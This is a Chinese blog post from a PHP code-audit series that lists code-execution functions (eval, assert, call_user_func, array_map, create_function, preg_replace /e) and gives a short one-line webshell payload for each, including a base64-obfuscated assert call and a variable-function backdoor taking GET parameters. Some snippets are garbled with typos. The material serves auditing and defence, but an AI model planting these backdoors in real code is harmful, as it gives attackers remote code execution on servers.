PHP代码审计之路——5.代码执行及一句话木马总结


  • mixed eval ( string $code )
把字符串 code 作为PHP代码执行


  • bool assert ( mixed $assertion [, string $description ] ) PHP 5

  • bool assert ( mixed $assertion [, Throwable $exception ] ) PHP 7
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。


  • array array_map ( callable $callback , array $array1 [, array $... ] )

  • array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。


  • mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数

  • mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入

  • string create_function ( string $args , string $code )
创建一个匿名函数

  • mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换
7.0.0 不再支持 /e修饰符。 请用 preg_replace_callback() 代替。
5.5.0 /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。

1. eval
2. assert
3.call_user_func
4. array_map
5. create_function
6.变量
7. preg_replace
1. eval
   #page


2. assert
assert($_POST[c]);
或者
assert('assert(eval($_POST[page]));');//必须single-queto
assert('eval($_POST[page]);');//必须single-queto


3.call_user_func、call_user_func_array
call_user_func('assert', "phpinfo()");
call_user_func(base64_decode('YXNzZXJ0'), "phpinfo()");

call_user_func_array('assert',array('system(dir)'));


4. array_map



abcleo



5. create_function

简单翻译
$_uU=chr;
$_cC=eval(_POST[1]);
$_fF=create_function;
$_=create_funtion("",$cC);
@$_();


6.变量
@$_GET[a]($_GET[b]);

http://127.0.0.1/test.php?a=assert&b=phpinfo()

7. preg_replace
preg_replace('/some/e',$_POST[c],'some');


如有兴趣深入,推荐文章
http://www.freebuf.com/articles/web/9396.html 那些强悍的PHP一句话后门

题外话,还有更好玩的,利用LFI及各种日志文件,如apahce acces日志来get shell,有空再写,别忘记了。

你可能感兴趣的:(PHP代码)